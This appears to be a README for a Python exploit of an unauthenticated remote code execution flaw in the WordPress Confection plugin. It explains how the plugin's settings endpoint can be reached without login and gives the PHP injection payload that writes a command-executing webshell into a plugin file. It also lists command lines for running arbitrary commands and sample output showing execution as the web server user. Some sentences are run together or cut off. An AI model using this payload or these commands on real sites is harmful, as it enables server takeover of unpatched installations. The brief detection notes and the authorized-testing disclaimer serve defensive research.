
Python PoC for CVE-2026-115252: unauthenticated RCE in the WordPress Confection plugin via unsanitized write key, with fingerprint check, single-request exploit and webshell trigger.
CVSS 3.1: 10.0 CRITICAL AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H · CWE-94, CWE-862
| Plugin | Confection (WordPress "Cable" plugin, slug: confection) |
| Versions | 0.4.0 – 0.4.7 (all releases; no patch — the plugin was closed and removed from WordPress.org on 2026-10-23) |
| Exploitation conditions | The plugin is active (the default configuration is vulnerable); the plugin directory is writable by the web server user (satisfied by default for plugins installed through the WP admin) |
ConfectionWPOptions::save_options() is hooked onto the admin_init hook (inc/options.php), and when saving settings it does not check capabilities and does not verify a nonce — it only requires $_GET['page']=confection-options-page and a non-empty POST. However, WordPress also triggers admin_init in wp-admin/admin-ajax.php for unauthenticated users, so the settings-save endpoint can be accessed without authorization.sanitize='text' = passed through verbatim).update_bridge_file() concatenates this value into the bridge-original.php template → $write_key = "<攻击者输入>";, and writes it to disk as a directly accessible PHP file: /wp-content/plugins/confection/<随机20字符>.php." arrives already escaped (\") and cannot directly escape the double-quoted string. However, addslashes() does not escape $, and in PHP double-quoted strings, ${expr} interpolation evaluates the expression first (the side effect of the function call is code execution), then uses the return value as the variable name — the payload does not need a single quote:confection_write_key = a${system($_REQUEST[0])}b
→ 落盘文件行: $write_key = "a${system($_REQUEST[0])}b";
→ 之后任意请求携带 ?0=<命令> 即执行
A single request completes the full exploitation: after admin_init poisons the file, the action=confection_send_data in the same request (the nopriv AJAX handler registered by inc/ajax.php) includes the just-poisoned file — no need to know the random filename in advance. After one injection, the poisoned file becomes a persistent webshell (triggered with --file).
Note: PHP 8.2+ prints a deprecation warning for
${expr}interpolation, which does not affect execution; PHP 7.x executes silently.
Python 3, standard library only.
# 指纹检测(非破坏性)
python3 poc.py --url http://TARGET --check
# 未授权 RCE(单请求:注入 + 执行)
python3 poc.py --url http://TARGET --exec 'id'
# 触发已毒化的 cable 文件(持久化 webshell)
python3 poc.py --url http://TARGET --file aBcDeFgHiJkLmNoPqRsT.php --exec 'uname -a'
# 去毒化:用良性 Write Key 覆盖 payload
python3 poc.py --url http://TARGET --restore ORIGINAL-KEY
Sample output:
$ python3 poc.py --url http://TARGET --exec 'id'
[*] POST admin-ajax.php?page=confection-options-page -> HTTP 200
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
wp-content/plugins/confection/*.php cable files — they may already contain injected codepage=confection-options-page on admin-ajax.phpadmin-ajax.php/admin-post.php carrying page=confection-options-page; historical data where the confection_write_key value contains ${For authorized security testing and defensive research only (self-hosted labs, authorized testing scope, or explicit permission obtained). The author assumes no responsibility for misuse.